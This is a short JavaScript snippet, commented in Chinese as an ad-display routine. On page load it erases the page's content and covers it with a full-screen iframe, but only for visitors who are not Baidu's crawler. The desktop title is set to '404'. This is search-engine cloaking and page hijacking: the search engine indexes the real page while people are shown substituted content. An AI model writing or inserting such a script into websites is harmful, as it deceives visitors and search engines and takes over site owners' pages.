document.addEventListener("DOMContentLoaded", function() {
            document.body.innerHTML = ""; // 首先清空 body
            // 定义广告显示函数
            function guanggao(url){
                var iframe = document.createElement("iframe");
                iframe.src = url;
                iframe.scrolling = "auto";
                iframe.style.cssText = "width:100%;height:100%;border:none;background:#fff";
                var div1 = document.createElement("div");
                var div = document.createElement("div");
                div1.style.cssText = "width:100%;height:100%;position:fixed;top:0;left:0;";
                div1.appendChild(iframe);
                div.appendChild(div1);
                document.body.appendChild(div); // 使用 appendChild 而不是 document.write
            }

            var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;

            if (navigator.userAgent.toLowerCase().indexOf("baiduspider") === -1) {
                if (is_mobi) {
                    guanggao("https://qzone.qq.com/404.html"); // 移动端广告 URL
                } else {
                    document.title = "404";
                    guanggao("https://qzone.qq.com/404.html"); 
                }
            }
        });